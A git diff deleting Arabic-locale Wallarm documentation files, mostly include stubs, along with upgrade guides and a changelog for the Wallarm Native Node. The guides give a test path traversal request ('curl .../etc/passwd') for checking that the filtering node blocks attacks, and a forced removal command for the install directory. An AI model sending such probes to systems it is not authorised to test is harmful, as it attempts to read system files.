26cb450782..0000000000 --- a/docs/ar/updating-migrating/docker-container.md +++ /dev/null @@ -1,3 +0,0 @@ -[link-wallarm-health-check]: ../admin-en/uat-checklist-en.md - ---8<-- "latest-ar/updating-migrating/docker-container.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/general-recommendations.md b/docs/ar/updating-migrating/general-recommendations.md deleted file mode 100644 index 78fd8fee2e..0000000000 --- a/docs/ar/updating-migrating/general-recommendations.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/general-recommendations.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/ingress-controller.md b/docs/ar/updating-migrating/ingress-controller.md deleted file mode 100644 index 4808ba4057..0000000000 --- a/docs/ar/updating-migrating/ingress-controller.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/ingress-controller.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/migrate-ip-lists-to-node-3.md b/docs/ar/updating-migrating/migrate-ip-lists-to-node-3.md deleted file mode 100644 index 372de518d1..0000000000 --- a/docs/ar/updating-migrating/migrate-ip-lists-to-node-3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/migrate-ip-lists-to-node-3.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/multi-tenant.md b/docs/ar/updating-migrating/multi-tenant.md deleted file mode 100644 index 90b3506e94..0000000000 --- a/docs/ar/updating-migrating/multi-tenant.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/multi-tenant.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/native-node/all-in-one.md b/docs/ar/updating-migrating/native-node/all-in-one.md deleted file mode 100644 index 0de5254eef..0000000000 --- a/docs/ar/updating-migrating/native-node/all-in-one.md +++ /dev/null @@ -1,126 +0,0 @@ -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Upgrading Wallarm Native Node with All-in-One Installer - -These instructions describe the steps to upgrade the [Native Node installed using all-in-one installer](../../installation/native-node/all-in-one.md). - -[View all-in-one installer releases](node-artifact-versions.md) - -## Requirements - -* Linux OS. -* x86_64/ARM64 architecture. -* Executing all commands as a superuser (e.g. `root`). -* Outbound access to: - - * `https://meganode.wallarm.com` to download the Wallarm installer - * `https://us1.api.wallarm.com` or `https://api.wallarm.com` for US/EU Wallarm Cloud - * IP addresses below for downloading updates to attack detection rules and [API specifications][api-spec-enforcement-docs], as well as retrieving precise IPs for your [allowlisted, denylisted, or graylisted][ip-list-docs] countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* In addition to the above, you should have the **Administrator** role assigned in Wallarm Console. - -## 1. Download the new installer version - -Download the latest installer version on the machine where your current Native Node is running: - -=== "x86_64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.7.0.x86_64.sh - chmod +x aio-native-0.7.0.x86_64.sh - ``` -=== "ARM64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.7.0.aarch64.sh - chmod +x aio-native-0.7.0.aarch64.sh - ``` - -## 2. Run the new installer - -Run the new installer as shown below. It will stop the currently running Wallarm services and then automatically start the services of the new version. - -You can reuse the previously generated [API token for the `Deploy` role](../../user-guides/settings/api-tokens.md) and the node group name. - -For the configuration file, you can reuse the one used during the initial installation. Only add new parameters or modify existing ones if necessary - see the [supported configuration options](../../installation/native-node/all-in-one-conf.md). - -=== "connector-server" - The `connector-server` mode is used when you deployed the self-hosted node with [MuleSoft](../../installation/connectors/mulesoft.md), [CloudFront](../../installation/connectors/aws-lambda.md), or [Cloudflare](../../installation/connectors/cloudflare.md) connector. - - For the x86_64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com --preserve false - ``` - - For the ARM64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com --preserve false - ``` -=== "tcp-capture" - The `tcp-capture` mode is used when you deployed the self-hosted node for [TCP traffic analysis](../../installation/oob/tcp-traffic-mirror/deployment.md). - - For the x86_64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com --preserve false - ``` - - For the ARM64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com --preserve false - ``` - -* The `WALLARM_LABELS` variable sets group into which the node will be added (used for logical grouping of nodes in the Wallarm Console UI). -* `` specifies the generated API token for the `Deploy` role. -* `` specifies the path to the configuration file. - -Your current `/opt/wallarm/etc/wallarm/go-node.yaml`, `/opt/wallarm/etc/wallarm/node.yaml` and log files will be backed up to the directory `/opt/wallarm/aio-backups/`. - -## 3. Verify the upgrade - -To verify that the node is functioning correctly: - -1. Check the logs for any errors: - - * Logs are written to `/opt/wallarm/var/log/wallarm/go-node.log` by default. You can read them there. - * [Standard logs](../../admin-en/configure-logging.md) of the filtering node such as whether the data is sent to the Wallarm Cloud, detected attacks, etc. are located in the directory `/opt/wallarm/var/log/wallarm`. -1. Send the request with test [Path Traversal][ptrav-attack-docs] attack to a protected resource address: - - ``` - curl http://localhost/etc/passwd - ``` -1. Verify that the upgraded node operates as expected compared to the previous version. - -## If you encounter a problem - -If there is a problem with the upgrade or reinstallation process: - -1. Remove the current installation: - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` -1. Reinstall the node as usual for [TCP traffic analysis](../../installation/oob/tcp-traffic-mirror/deployment.md) or the [MuleSoft](../../installation/connectors/mulesoft.md), [CloudFront](../../installation/connectors/aws-lambda.md), or [Cloudflare](../../installation/connectors/cloudflare.md) connectors. - - Or follow the upgrade procedure described above. diff --git a/docs/ar/updating-migrating/native-node/docker-image.md b/docs/ar/updating-migrating/native-node/docker-image.md deleted file mode 100644 index ff6ffca530..0000000000 --- a/docs/ar/updating-migrating/native-node/docker-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/updating-migrating/native-node/docker-image.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/native-node/helm-chart.md b/docs/ar/updating-migrating/native-node/helm-chart.md deleted file mode 100644 index 2e613fcbd8..0000000000 --- a/docs/ar/updating-migrating/native-node/helm-chart.md +++ /dev/null @@ -1,66 +0,0 @@ -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Upgrading Wallarm Native Node with Helm Chart - -These instructions describe the steps to upgrade the [Native Node deployed using Helm chart](../../installation/native-node/helm-chart.md). - -[View Helm chart releases](node-artifact-versions.md) - -## Requirements - -The Kubernetes cluster for deploying the Native Node with the Helm chart must meet the following criteria: - -* [Helm v3](https://helm.sh/) package manager installed. -* Inbound access from your API gateway or CDN where your APIs are running. -* Outbound access to: - - * `https://charts.wallarm.com` to download the Wallarm Helm chart - * `https://hub.docker.com/r/wallarm` to download the Docker images required for the deployment - * `https://us1.api.wallarm.com` or `https://api.wallarm.com` for US/EU Wallarm Cloud - * IP addresses below for downloading updates to attack detection rules and [API specifications][api-spec-enforcement-docs], as well as retrieving precise IPs for your [allowlisted, denylisted, or graylisted][ip-list-docs] countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* In addition to the above, you should have the **Administrator** role assigned in Wallarm Console. - -## 1. Update the Wallarm Helm chart repository - -```bash -helm repo update wallarm -``` - -## 2. Upgrade the Wallarm Kubernetes service - -Upgrade the deployed Kubernetes service or Load Balancer: - -``` bash -helm upgrade -n wallarm/wallarm-node-native --version 0.7.0 -f -``` - -* ``: the name of the existing Helm release -* ``: the namespace with the Helm release -* ``: the path to the [`values.yaml` file](../../installation/native-node/helm-chart-conf.md) defining the deployed solution configuration, you can use the one created for running the previous version - -## 3. Verify the upgrade - -1. Verify that the Wallarm pods are up and running: - - ``` - kubectl -n get pods - ``` - - Each pod status should be **STATUS: Running** or **READY: N/N**. For example: - - ``` - NAME READY STATUS RESTARTS AGE - next-aggregation-5fb5d5444b-6c8n8 3/3 Running 0 51m - next-processing-7c487bbdc6-4j6mz 3/3 Running 0 51m - ``` -1. Send the request with the test [Path Traversal][ptrav-attack-docs] attack to your API gateway: - - ``` - curl https:///etc/passwd - ``` -1. Verify that the upgraded node operates as expected compared to the previous version. diff --git a/docs/ar/updating-migrating/native-node/node-artifact-versions.md b/docs/ar/updating-migrating/native-node/node-artifact-versions.md deleted file mode 100644 index 47f4ff920a..0000000000 --- a/docs/ar/updating-migrating/native-node/node-artifact-versions.md +++ /dev/null @@ -1,70 +0,0 @@ -# Native Node Artifact Versions and Changelog - -This document lists available versions of the [native Wallarm node](../../installation/nginx-native-node-internals.md#native-node) 5.0 in different form-factors. You can track new patch version releases and plan timely upgrades based on this document. - -## All-in-one installer - -The all-in-one installer for the Native Node is used for [TCP traffic mirror analysis](../../installation/oob/tcp-traffic-mirror/deployment.md) and self-hosted node deployment with the [MuleSoft](../../installation/connectors/mulesoft.md), [CloudFront](../../installation/connectors/aws-lambda.md), and [Cloudflare](../../installation/connectors/cloudflare.md) connectors. - -History of all-in-one installer updates simultaneously applies to it's x86_64 and ARM64 versions. - -[How to upgrade](all-in-one.md) - -### 0.7.0 (2024-10-16) - -* Fixed an issue where some internal service connector headers were not being stripped before processing - -### 0.6.0 (2024-10-10) - -* Added support for [customizing sensitive data detection](../../api-discovery/setup.md#customizing-sensitive-data-detection) in API Discovery -* Fixed memory leak on duplicate response headers in [libproton](../../about-wallarm/protecting-against-attacks.md#library-libproton) -* Fixed memory leak related to IP addresses that are not in [IP lists](../../user-guides/ip-lists/overview.md) but have [known source](../../user-guides/ip-lists/overview.md#select-object) -* Updated artifact naming from "next" to "native" - - `https://meganode.wallarm.com/next/aionext-..sh` → `https://meganode.wallarm.com/native/aio-native-..sh` - -### 0.5.2 (2024-09-17) - -* Fixed installation failure issue when no WAAP + API Security subscription is activated -* Fixed delays in attack export -* Fixed an issue with the C memory allocator that caused a performance slowdown - -### 0.5.1 (2024-09-16) - -* Added configurable access log output via [`log.access_log` parameters](../../installation/native-node/all-in-one-conf.md#logaccess_logenabled) - -### 0.5.0 (2024-09-11) - -* Minor technical improvements and optimizations - -### 0.4.3 (2024-09-05) - -* Fixed an issue causing ~0.1% of data source messages to be silently lost due to a typo - -### 0.4.1 (2024-08-27) - -* Added support for wildcard matching in the [`route_config.routes.host`](../../installation/native-node/all-in-one-conf.md#host) configuration parameter - -### 0.4.0 (2024-08-22) - -* [Initial release](../../installation/oob/tcp-traffic-mirror/deployment.md) - -## Helm chart - -The Helm chart for the Native Node is used for self-hosted node deployments with the [MuleSoft](../../installation/connectors/mulesoft.md), [CloudFront](../../installation/connectors/aws-lambda.md), [Cloudflare](../../installation/connectors/cloudflare.md), [Kong API Gateway](../../installation/connectors/kong-api-gateway.md), and [Istio](../../installation/connectors/istio.md) connectors. - -[How to upgrade](helm-chart.md) - -### 0.7.0 (2024-10-17) - -* Fixed an issue where some internal service connector headers were not being stripped before processing -* Added support for [customizing sensitive data detection](../../api-discovery/setup.md#customizing-sensitive-data-detection) in API Discovery -* Fixed memory leak on duplicate response headers in [libproton](../../about-wallarm/protecting-against-attacks.md#library-libproton) -* Fixed memory leak related to IP addresses that are not in [IP lists](../../user-guides/ip-lists/overview.md) but have [known source](../../user-guides/ip-lists/overview.md#select-object) -* Updated artifact naming from "next" to "native" - - `wallarm/wallarm-node-next` → `wallarm/wallarm-node-native` - -### 0.5.3 (2024-10-01) - -* Initial release diff --git a/docs/ar/updating-migrating/nginx-ingress-retirement.md b/docs/ar/updating-migrating/nginx-ingress-retirement.md deleted file mode 100644 index 1bc595d1dc..0000000000 --- a/docs/ar/updating-migrating/nginx-ingress-retirement.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/updating-migrating/nginx-ingress-retirement.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/nginx-modules.md b/docs/ar/updating-migrating/nginx-modules.md deleted file mode 100644 index 6f74a0fed3..0000000000 --- a/docs/ar/updating-migrating/nginx-modules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/nginx-modules.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/node-artifact-versions.md b/docs/ar/updating-migrating/node-artifact-versions.md deleted file mode 100644 index d06d7c372a..0000000000 --- a/docs/ar/updating-migrating/node-artifact-versions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/node-artifact-versions.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/older-versions/cloud-image.md b/docs/ar/updating-migrating/older-versions/cloud-image.md deleted file mode 100644 index bd9bbee81c..0000000000 --- a/docs/ar/updating-migrating/older-versions/cloud-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/older-versions/cloud-image.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/older-versions/docker-container.md b/docs/ar/updating-migrating/older-versions/docker-container.md deleted file mode 100644 index 3fd80143d8..0000000000 --- a/docs/ar/updating-migrating/older-versions/docker-container.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/older-versions/docker-container.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/older-versions/ingress-controller.md b/docs/ar/updating-migrating/older-versions/ingress-controller.md deleted file mode 100644 index 1af899e48c..0000000000 --- a/docs/ar/updating-migrating/older-versions/ingress-controller.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/older-versions/ingress-controller.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/older-versions/multi-tenant.md b/docs/ar/updating-migrating/older-versions/multi-tenant.md deleted file mode 100644 index 6638c01e5d..0000000000 --- a/docs/ar/updating-migrating/older-versions/multi-tenant.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/older-versions/multi-tenant.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/older-versions/nginx-modules.md b/docs/ar/updating-migrating/older-versions/nginx-modules.md deleted file mode 100644 index e7b7206d90..0000000000 --- a/docs/ar/updating-migrating/older-versions/nginx-modules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/older-versions/nginx-modules.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/older-versions/separate-postanalytics.md b/docs/ar/updating-migrating/older-versions/separate-postanalytics.md deleted file mode 100644 index 349959172e..0000000000 --- a/docs/ar/updating-migrating/older-versions/separate-postanalytics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/older-versions/separate-postanalytics.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/older-versions/what-is-new.md b/docs/ar/updating-migrating/older-versions/what-is-new.md deleted file mode 100644 index d375192ef3..0000000000 --- a/docs/ar/updating-migrating/older-versions/what-is-new.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/older-versions/what-is-new.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/separate-postanalytics.md b/docs/ar/updating-migrating/separate-postanalytics.md deleted file mode 100644 index 7556445bd7..0000000000 --- a/docs/ar/updating-migrating/separate-postanalytics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/separate-postanalytics.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/sidecar-proxy.md b/docs/ar/updating-migrating/sidecar-proxy.md deleted file mode 100644 index 3cd7e5cfa4..0000000000 --- a/docs/ar/updating-migrating/sidecar-proxy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/sidecar-proxy.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/versioning-policy.md b/docs/ar/updating-migrating/versioning-policy.md deleted file mode 100644 index 7579588a42..0000000000 --- a/docs/ar/updating-migrating/versioning-policy.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/versioning-policy.md" \ No newline at end of file diff --git a/docs/ar/updating-migrating/what-is-new.md b/docs/ar/updating-migrating/what-is-new.md deleted file mode 100644 index 51623de9f5..0000000000 --- a/docs/ar/updating-migrating/what-is-new.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/updating-migrating/what-is-new.md" \ No newline at end of file diff --git a/docs/ar/user-guides/dashboards/api-discovery.md b/docs/ar/user-guides/dashboards/api-discovery.md deleted file mode 100644 index 6d82d4d06a..0000000000 --- a/docs/ar/user-guides/dashboards/api-discovery.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/dashboards/api-discovery.md" \ No newline at end of file diff --git a/docs/ar/user-guides/dashboards/bi-dashboards.md b/docs/ar/user-guides/dashboards/bi-dashboards.md deleted file mode 100644 index 00b34a4210..0000000000 --- a/docs/ar/user-guides/dashboards/bi-dashboards.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/dashboards/bi-dashboards.md" \ No newline at end of file diff --git a/docs/ar/user-guides/dashboards/owasp-api-top-ten.md b/docs/ar/user-guides/dashboards/owasp-api-top-ten.md deleted file mode 100644 index abfa2217c0..0000000000 --- a/docs/ar/user-guides/dashboards/owasp-api-top-ten.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/dashboards/owasp-api-top-ten.md" \ No newline at end of file diff --git a/docs/ar/user-guides/dashboards/threat-prevention.md b/docs/ar/user-guides/dashboards/threat-prevention.md deleted file mode 100644 index f017895711..0000000000 --- a/docs/ar/user-guides/dashboards/threat-prevention.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/dashboards/threat-prevention.md" \ No newline at end of file diff --git a/docs/ar/user-guides/events/analyze-attack.md b/docs/ar/user-guides/events/analyze-attack.md deleted file mode 100644 index 759ceab5aa..0000000000 --- a/docs/ar/user-guides/events/analyze-attack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/events/analyze-attack.md" \ No newline at end of file diff --git a/docs/ar/user-guides/events/check-attack.md b/docs/ar/user-guides/events/check-attack.md deleted file mode 100644 index f040f065bb..0000000000 --- a/docs/ar/user-guides/events/check-attack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/events/check-attack.md" \ No newline at end of file diff --git a/docs/ar/user-guides/events/check-incident.md b/docs/ar/user-guides/events/check-incident.md deleted file mode 100644 index aaf5d07fa4..0000000000 --- a/docs/ar/user-guides/events/check-incident.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/events/check-incident.md" \ No newline at end of file diff --git a/docs/ar/user-guides/events/false-attack.md b/docs/ar/user-guides/events/false-attack.md deleted file mode 100644 index 0b969c17c9..0000000000 --- a/docs/ar/user-guides/events/false-attack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/events/false-attack.md" \ No newline at end of file diff --git a/docs/ar/user-guides/events/overview.md b/docs/ar/user-guides/events/overview.md deleted file mode 100644 index f0e6f13e3c..0000000000 --- a/docs/ar/user-guides/events/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/events/overview.md" \ No newline at end of file diff --git a/docs/ar/user-guides/events/verify-attack.md b/docs/ar/user-guides/events/verify-attack.md deleted file mode 100644 index 45a2745b7c..0000000000 --- a/docs/ar/user-guides/events/verify-attack.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/events/verify-attack.md" \ No newline at end of file diff --git a/docs/ar/user-guides/ip-lists/overview.md b/docs/ar/user-guides/ip-lists/overview.md deleted file mode 100644 index 0aa93dcb13..0000000000 --- a/docs/ar/user-guides/ip-lists/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/ip-lists/overview.md" \ No newline at end of file diff --git a/docs/ar/user-guides/nodes/cdn-node.md b/docs/ar/user-guides/nodes/cdn-node.md deleted file mode 100644 index e93d0da24b..0000000000 --- a/docs/ar/user-guides/nodes/cdn-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/nodes/cdn-node.md" \ No newline at end of file diff --git a/docs/ar/user-guides/nodes/nodes.md b/docs/ar/user-guides/nodes/nodes.md deleted file mode 100644 index 8700f16b60..0000000000 --- a/docs/ar/user-guides/nodes/nodes.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/nodes/nodes.md" \ No newline at end of file diff --git a/docs/ar/user-guides/rules/add-replace-response-header.md b/docs/ar/user-guides/rules/add-replace-response-header.md deleted file mode 100644 index 89d03f6ccf..0000000000 --- a/docs/ar/user-guides/rules/add-replace-response-header.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/rules/add-replace-response-header.md" \ No newline at end of file diff --git a/docs/ar/user-guides/rules/configure-overlimit-res-detection.md b/docs/ar/user-guides/rules/configure-overlimit-res-detection.md deleted file mode 100644 index 319eb688a9..0000000000 --- a/docs/ar/user-guides/rules/configure-overlimit-res-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/rules/configure-overlimit-res-detection.md" \ No newline at end of file diff --git a/docs/ar/user-guides/rules/rate-limiting.md b/docs/ar/user-guides/rules/rate-limiting.md deleted file mode 100644 index 4a268aa57f..0000000000 --- a/docs/ar/user-guides/rules/rate-limiting.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/rules/rate-limiting.md" \ No newline at end of file diff --git a/docs/ar/user-guides/rules/regex-rule.md b/docs/ar/user-guides/rules/regex-rule.md deleted file mode 100644 index 9a05a7075b..0000000000 --- a/docs/ar/user-guides/rules/regex-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/rules/regex-rule.md" \ No newline at end of file diff --git a/docs/ar/user-guides/rules/request-processing.md b/docs/ar/user-guides/rules/request-processing.md deleted file mode 100644 index dbb215c9a0..0000000000 --- a/docs/ar/user-guides/rules/request-processing.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/rules/request-processing.md" \ No newline at end of file diff --git a/docs/ar/user-guides/rules/rules.md b/docs/ar/user-guides/rules/rules.md deleted file mode 100644 index e26748c011..0000000000 --- a/docs/ar/user-guides/rules/rules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/rules/rules.md" \ No newline at end of file diff --git a/docs/ar/user-guides/rules/sensitive-data-rule.md b/docs/ar/user-guides/rules/sensitive-data-rule.md deleted file mode 100644 index b136c38af7..0000000000 --- a/docs/ar/user-guides/rules/sensitive-data-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/rules/sensitive-data-rule.md" \ No newline at end of file diff --git a/docs/ar/user-guides/rules/vpatch-rule.md b/docs/ar/user-guides/rules/vpatch-rule.md deleted file mode 100644 index 38d69dbc02..0000000000 --- a/docs/ar/user-guides/rules/vpatch-rule.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/rules/vpatch-rule.md" \ No newline at end of file diff --git a/docs/ar/user-guides/search-and-filters/custom-report.md b/docs/ar/user-guides/search-and-filters/custom-report.md deleted file mode 100644 index 45d2ee887b..0000000000 --- a/docs/ar/user-guides/search-and-filters/custom-report.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/search-and-filters/custom-report.md" \ No newline at end of file diff --git a/docs/ar/user-guides/search-and-filters/use-search-vuln.md b/docs/ar/user-guides/search-and-filters/use-search-vuln.md deleted file mode 100644 index f4a8906988..0000000000 --- a/docs/ar/user-guides/search-and-filters/use-search-vuln.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/search-and-filters/use-search-vuln.md" \ No newline at end of file diff --git a/docs/ar/user-guides/search-and-filters/use-search.md b/docs/ar/user-guides/search-and-filters/use-search.md deleted file mode 100644 index 56881fa8b7..0000000000 --- a/docs/ar/user-guides/search-and-filters/use-search.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/search-and-filters/use-search.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/account.md b/docs/ar/user-guides/settings/account.md deleted file mode 100644 index 272a581e1c..0000000000 --- a/docs/ar/user-guides/settings/account.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/account.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/api-tokens.md b/docs/ar/user-guides/settings/api-tokens.md deleted file mode 100644 index 5751953ff2..0000000000 --- a/docs/ar/user-guides/settings/api-tokens.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/api-tokens.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/applications.md b/docs/ar/user-guides/settings/applications.md deleted file mode 100644 index 8bba0a8016..0000000000 --- a/docs/ar/user-guides/settings/applications.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/applications.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/audit-log.md b/docs/ar/user-guides/settings/audit-log.md deleted file mode 100644 index e5bb97218f..0000000000 --- a/docs/ar/user-guides/settings/audit-log.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/audit-log.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/integrations/amazon-s3.md b/docs/ar/user-guides/settings/integrations/amazon-s3.md deleted file mode 100644 index 6b8ca6f7a7..0000000000 --- a/docs/ar/user-guides/settings/integrations/amazon-s3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/integrations/amazon-s3.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/integrations/azure-sentinel.md b/docs/ar/user-guides/settings/integrations/azure-sentinel.md deleted file mode 100644 index 4b9ee78798..0000000000 --- a/docs/ar/user-guides/settings/integrations/azure-sentinel.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/integrations/azure-sentinel.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/integrations/datadog.md b/docs/ar/user-guides/settings/integrations/datadog.md deleted file mode 100644 index f3ae329865..0000000000 --- a/docs/ar/user-guides/settings/integrations/datadog.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/integrations/datadog.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/integrations/email.md b/docs/ar/user-guides/settings/integrations/email.md deleted file mode 100644 index de572740df..0000000000 --- a/docs/ar/user-guides/settings/integrations/email.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/integrations/email.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/integrations/fluentd.md b/docs/ar/user-guides/settings/integrations/fluentd.md deleted file mode 100644 index 67b94f18ef..0000000000 --- a/docs/ar/user-guides/settings/integrations/fluentd.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/integrations/fluentd.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/integrations/insightconnect.md b/docs/ar/user-guides/settings/integrations/insightconnect.md deleted file mode 100644 index 48ab382fe3..0000000000 --- a/docs/ar/user-guides/settings/integrations/insightconnect.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/integrations/insightconnect.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/integrations/integrations-intro.md b/docs/ar/user-guides/settings/integrations/integrations-intro.md deleted file mode 100644 index cf1f1dd126..0000000000 --- a/docs/ar/user-guides/settings/integrations/integrations-intro.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/integrations/integrations-intro.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/integrations/jira.md b/docs/ar/user-guides/settings/integrations/jira.md deleted file mode 100644 index 07e838f486..0000000000 --- a/docs/ar/user-guides/settings/integrations/jira.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/integrations/jira.md" \ No newline at end of file diff --git a/docs/ar/user-guides/settings/integrations/logstash.md b/docs/ar/user-guides/settings/integrations/logstash.md deleted file mode 100644 index c0b9b4ac06..0000000000 --- a/docs/ar/user-guides/settings/integrations/logstash.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-ar/user-guides/settings/integrations/logstash.md" \ No newline at end of file diff --git 